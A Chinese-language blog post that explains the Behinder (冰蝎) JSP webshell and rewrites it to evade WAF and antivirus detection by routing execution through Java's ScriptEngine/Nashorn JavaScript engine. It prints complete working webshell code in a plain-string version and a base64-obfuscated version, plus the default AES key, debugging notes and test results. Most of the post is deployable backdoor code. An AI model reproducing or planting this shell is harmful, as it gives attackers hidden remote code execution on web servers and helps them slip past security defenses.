Diggid's Blog

新型ScriptEngine马实现冰蝎shell免杀

字数统计: 2.4k阅读时长: 11 min
2021/07/15 Share

前言

看了镇东学长写的利用ScriptEngine实现新型一句话jsp以及另一个师傅写的基于该一句话jsp实现冰蝎免杀shell,在渗透测试遇到waf的时候会用上,这里记录一下。

冰蝎shell解析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!class U extends ClassLoader{ //定义类U并继承ClassLoader
U(ClassLoader c){
super(c) // 构造方法,执行父类ClassLoader的构造方法
;}
public Class g(byte []b){ //执行defineClass方法
return super.defineClass(b,0,b.length);}
}%>
<%
if(request.getMethod().equals("POST")){ //判断请求类型
String k="e45e329feb5d925b";
session.putValue("u",k); //将key写入到session
Cipher c=Cipher.getInstance("AES");
c.init(2,new SecretKeySpec(k.getBytes(),"AES")); //初始化AES解码器
new U(this.getClass().getClassLoader()).g(
c.doFinal(new
sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine())) //将接收的内容base64解码后进行aes解密
).newInstance().equals(pageContext); //创建该类对象并调用该对象的equals方法
}%>

冰蝎shell的执行流:

  • 自定义一个类U并继承ClassLoader,然后定义一个g方法,其中调用ClassLoader的defineClass方法,这里是字节码的触发点
  • 判断请求类型若为POST,则继续执行,将k(md5加密的key)写入到当前上下文的session中,这个k的原值key就是冰蝎连接的密码,即md5("rebeyond") == "e45e329feb5d925b"
  • 初始化AES解码器
  • 传入当前类的ClassLoader初始化U对象,并调用该对象的g方法,参数为:base64解码后AES解密的冰蝎服务端用于通信的数据流
  • g方法返回的是一个Class类对象,调用该Class类对象的newInstance方法,若equals于当前上下文的pageContext则连接成功

至于冰蝎客户端于服务端具体的通信细节,这里就不班门弄斧了,师傅们可以查阅一波

JS引擎解析Java的语法

这一部分详细请看一种新型Java一句话木马的实现,这里仅记录一些容易错的坑点。

基本原理:

  1. Java没有eval函数,Js有eval函数,可以把字符串当代码解析。
  2. Java从1.6开始自带ScriptEngineManager这个类,原生支持调用js,无需安装第三方库。
  3. ScriptEngine支持在Js中调用Java的对象

我们可以利用Java调用JS引擎的eval,然后在Payload中反过来调用Java对象,这就是本文提出的新型Java一句话的核心原理

绑定对象

如果要在js引擎中使用java中的对象(JSP的上下问对象),我们需要绑定

1
2
3
4
5
ScriptEngine engine = new ScriptEngineManager().getEngineByName("js");
engine.put("request", request);
engine.put("response", response);
engine.eval(request.getParameter("diggid"));

或者使用eval的重载函数,在调用的第二个参数使用javax.script.SimpleBindings绑定一个HashMap

1
2
3
4
new javax.script.ScriptEngineManager().getEngineByName("js").eval(request.getParameter("ant"), new javax.script.SimpleBindings(new java.util.HashMap() {{
put("response", response);
put("request", request);
}}))

以下内容是写在eval函数中的

导入java类

1
2
3
4
5
6
var Vector = java.util.Vector;
var JFrame = Packages.javax.swing.JFrame;

//这种写法仅仅支持Nashorn和javascript,Rhino并不支持
var Vector = Java.type("java.util.Vector")
var JFrame = Java.type("javax.swing.JFrame")

创建java类型的数组

1
2
3
4
var strArray = Java.type("java.lang.String[]") //注意全类型限定名
var array = new strArray(8)
array[0]="hello";
print(array[0])

导入java包

js的引擎为了区别javascript和java的类型,要求我们对于java类型必须使用全类型限定名,但是如果过长,我们可以通过导包来方便编写,主要有以下两种方式 :

  • importClass 导入指定Java的类,现在推荐用Java.type
  • importPackage 导入一个Java包,现在推荐用JavaImporter

为了使用上面两种方法,我们还需要load("nashorn:mozilla_compat.js");

几个例子:

  • importPackage
1
2
3
load("nashorn:mozilla_compat.js");
importPackage(java.util);
var list = new ArrayList();
  • JavaImporter:主要针对类型冲突的情况,配合with限定作用域
1
2
3
4
5
6
7
8
9
var SwingGui = new JavaImporter(javax.swing,
javax.swing.event,
javax.swing.border,
java.awt.event);
with (SwingGui) {
// 在with里面才可以调用swing里面的类,防止污染
var mybutton = new JButton("test");
var myframe = new JFrame("test");
}

方法调用与重载

方法在JavaScript中实际上是对象的一个属性,所以除了使用 . 来调用方法之外,也可以使用[]来调用方法。

如果想调用方法的多返回类型的重载函数,可以使用[method_name](return_type)来指定

1
2
3
4
5
var System = Java.type('java.lang.System');
System.out.println('Hello, World'); // Hello, World
System.out['println']('Hello, World'); // Hello, World
System.out['println(int)'](3.14); // 3
System.out['println(double)'](3.14); // 3.14

改写冰蝎免杀shell

预处理绑定对象

根据冰蝎的一句话shell,在java代码的部分,我们需要预处理绑定一些对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<%@page import="javax.script.*"%>
<%!class U extends ClassLoader{
U(ClassLoader c){
super(c)
;}
public Class g(byte []b){
return super.defineClass(b,0,b.length);}
}%>
<%
ScriptEngine engine=new ScriptEngineManager().getEngineByName("js");
engine.put("request", request);
engine.put("response", response);
engine.put("session", session);
engine.put("pageContext", pageContext);
engine.put("U", new U(this.getClass().getClassLoader())); //为什么仍然需要自定义一个U对象,后面会说
engine.eval("xxx");
%>

编写JS代码部分

  • 导包

这里使用try-catch来保证load是否成功都会继续执行

1
2
3
4
5
6
7
8
try {
load("nashorn:mozilla_compat.js");
} catch (e) {}
importPackage(Packages.java.util);
importPackage(Packages.java.lang);
importPackage(Packages.javax.crypto);
importPackage(Packages.sun.misc);
importPackage(Packages.javax.crypto.spec);
  • 定义一个define函数,作用相当于在define函数中调用原冰蝎g方法
1
2
3
4
5
6
function define(classBytes){
var defineClassMethod = U.getClass().getDeclaredMethod("g",classBytes.getClass());
defineClassMethod.setAccessible(true);
var cc = defineClassMethod.invoke(U,new Array(classBytes));
cc.newInstance().equals(pageContext);
}
  • 照搬一下剩下的部分(改为js的语法即可)
1
2
3
4
5
6
7
if (request.getMethod().equals("POST")){
var k = new java.lang.String("e45e329feb5d925b");
session.putValue("u",k);
var c = Cipher.getInstance("AES");
c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
define(c.doFinal(new BASE64Decoder().decodeBuffer(request.getReader().readLine())));
}
  • 完整的:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
try {
load("nashorn:mozilla_compat.js");
} catch (e) {}
importPackage(Packages.java.util);
importPackage(Packages.java.lang);
importPackage(Packages.javax.crypto);
importPackage(Packages.sun.misc);
importPackage(Packages.javax.crypto.spec);
function define(classBytes){
var defineClassMethod = U.getClass().getDeclaredMethod("g",classBytes.getClass());
defineClassMethod.setAccessible(true);
var cc = defineClassMethod.invoke(U,new Array(classBytes));
cc.newInstance().equals(pageContext);
}
if (request.getMethod().equals("POST")){
var k = new java.lang.String("e45e329feb5d925b");
session.putValue("u",k);
var c = Cipher.getInstance("AES");
c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
define(c.doFinal(new BASE64Decoder().decodeBuffer(request.getReader().readLine())));
}

一些坑点 & 为什么要这样写

为什么仍然需要类U

首先我们需要知道U在冰蝎shell中的作用:用当前上下文的ClassLoader并在g方法中调用ClassLoader的defineClass方法。

但是在上面自定义的function define函数中既然可以调用getDeclaredMethod来获取任意方法,那么为什么不可以直接调用defindClass来直接执行字节码,而省略定义U类执行其g函数的过程呢?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function define(classBytes){
var byteArray = Java.type("byte[]");
var int = Java.type("int");
var defineClassMethod = java.lang.ClassLoader.class.getDeclaredMethod("defineClass",
byteArray.class,
int.class,
int.class
);
defineClassMethod.setAccessible(true);
varcc = defineClassMethod.invoke(
Thread.currentThread().getContextClassLoader(),
classBytes,
0,
classBytes.length);
return cc.getConstructor().newInstance().equals(pageContext);
}

关键问题就出在Thread.currentThread().getContextClassLoader(),该方式获取的ClassLoader对于一个运行在tomcat中的webapp是唯一固定的WebAppClassLoader。在反射调用defineClass时,传入的是WebAppClassLoader。但当冰蝎客户端连接服务端再次去请求defineClass就会导致重复加载而报错。

而冰蝎自定义的类U,每次请求时获取到的都是不同的ClassLoader(和当前web应用没有唯一绑定的关系),所以我们需要沿用原先冰蝎的方式。

为什么需要new Array

这个仔细看一下就知道了。invoke的第二个参数是Object...,所需我们需要传入new Object[]{xxx},原先的classBytes是new byte[],所以拿Array来转换一下即可。

完整shell

原生字符串的payload体积更小,而base64可以混淆一些特征。

原生字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<%@page import="javax.script.*"%>
<%!class U extends ClassLoader{
U(ClassLoader c){
super(c)
;}
public Class g(byte []b){
return super.defineClass(b,0,b.length);}
}%>
<%
ScriptEngine engine=new ScriptEngineManager().getEngineByName("js");
engine.put("request", request);
engine.put("response", response);
engine.put("session", session);
engine.put("pageContext", pageContext);
engine.put("U", new U(this.getClass().getClassLoader())); //注意这里
engine.eval("try {\n" +
" load(\"nashorn:mozilla_compat.js\");\n" +
"} catch (e) {}\n" +
"importPackage(Packages.java.util);\n" +
"importPackage(Packages.java.lang);\n" +
"importPackage(Packages.javax.crypto);\n" +
"importPackage(Packages.sun.misc);\n" +
"importPackage(Packages.javax.crypto.spec);\n" +
"function define(classBytes){\n" +
" var defineClassMethod = U.getClass().getDeclaredMethod(\"g\",classBytes.getClass());\n" +
" defineClassMethod.setAccessible(true);\n" +
" var cc = defineClassMethod.invoke(U,new Array(classBytes));\n" +
"\t\tcc.newInstance().equals(pageContext);\n" +
"}\n" +
"if (request.getMethod().equals(\"POST\")){\n" +
" var k = new java.lang.String(\"e45e329feb5d925b\");\n" +
" session.putValue(\"u\",k);\n" +
" var c = Cipher.getInstance(\"AES\");\n" +
" c.init(2,new SecretKeySpec(k.getBytes(),\"AES\"));\n" +
" define(c.doFinal(new BASE64Decoder().decodeBuffer(request.getReader().readLine())));\n" +
"}");
%>

base64编码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<%@page import="javax.script.*"%>
<%!class U extends ClassLoader{
U(ClassLoader c){
super(c)
;}
public Class g(byte []b){
return super.defineClass(b,0,b.length);}
}%>
<%
ScriptEngine engine=new ScriptEngineManager().getEngineByName("js");
engine.put("request", request);
engine.put("response", response);
engine.put("session", session);
engine.put("pageContext", pageContext);
engine.put("U", new U(this.getClass().getClassLoader()));
// 注意转为String
engine.eval(new String(new sun.misc.BASE64Decoder().decodeBuffer("dHJ5IHsKICAgIGxvYWQoIm5hc2hvcm46bW96aWxsYV9jb21wYXQuanMiKTsKfSBjYXRjaCAoZSkge30KaW1wb3J0UGFja2FnZShQYWNrYWdlcy5qYXZhLnV0aWwpOwppbXBvcnRQYWNrYWdlKFBhY2thZ2VzLmphdmEubGFuZyk7CmltcG9ydFBhY2thZ2UoUGFja2FnZXMuamF2YXguY3J5cHRvKTsKaW1wb3J0UGFja2FnZShQYWNrYWdlcy5zdW4ubWlzYyk7CmltcG9ydFBhY2thZ2UoUGFja2FnZXMuamF2YXguY3J5cHRvLnNwZWMpOwpmdW5jdGlvbiBkZWZpbmUoY2xhc3NCeXRlcyl7CiAgICB2YXIgZGVmaW5lQ2xhc3NNZXRob2QgPSBVLmdldENsYXNzKCkuZ2V0RGVjbGFyZWRNZXRob2QoImciLGNsYXNzQnl0ZXMuZ2V0Q2xhc3MoKSk7CiAgICBkZWZpbmVDbGFzc01ldGhvZC5zZXRBY2Nlc3NpYmxlKHRydWUpOwogICAgdmFyIGNjID0gZGVmaW5lQ2xhc3NNZXRob2QuaW52b2tlKFUsbmV3IEFycmF5KGNsYXNzQnl0ZXMpKTsKCQljYy5uZXdJbnN0YW5jZSgpLmVxdWFscyhwYWdlQ29udGV4dCk7Cn0KaWYgKHJlcXVlc3QuZ2V0TWV0aG9kKCkuZXF1YWxzKCJQT1NUIikpewogICAgdmFyIGsgPSBuZXcgamF2YS5sYW5nLlN0cmluZygiZTQ1ZTMyOWZlYjVkOTI1YiIpOwogICAgc2Vzc2lvbi5wdXRWYWx1ZSgidSIsayk7CiAgICB2YXIgYyA9IENpcGhlci5nZXRJbnN0YW5jZSgiQUVTIik7CiAgICBjLmluaXQoMixuZXcgU2VjcmV0S2V5U3BlYyhrLmdldEJ5dGVzKCksIkFFUyIpKTsKICAgIGRlZmluZShjLmRvRmluYWwobmV3IEJBU0U2NERlY29kZXIoKS5kZWNvZGVCdWZmZXIocmVxdWVzdC5nZXRSZWFkZXIoKS5yZWFkTGluZSgpKSkpOwp9")));
%>

测试

  • 原生字符串

image-20210719114750109

  • base64编码

image-20210719115244740

参考

https://xz.aliyun.com/t/9715#toc-9

https://t.zsxq.com/UB6UNbu

CATALOG
  1. 1. 前言
  2. 2. 冰蝎shell解析
  3. 3. JS引擎解析Java的语法
    1. 3.1. 绑定对象
    2. 3.2. 导入java类
    3. 3.3. 创建java类型的数组
    4. 3.4. 导入java包
    5. 3.5. 方法调用与重载
  4. 4. 改写冰蝎免杀shell
    1. 4.1. 预处理绑定对象
    2. 4.2. 编写JS代码部分
    3. 4.3. 一些坑点 & 为什么要这样写
      1. 4.3.1. 为什么仍然需要类U
      2. 4.3.2. 为什么需要new Array
  5. 5. 完整shell
    1. 5.1. 原生字符串
    2. 5.2. base64编码
    3. 5.3. 测试
  6. 6. 参考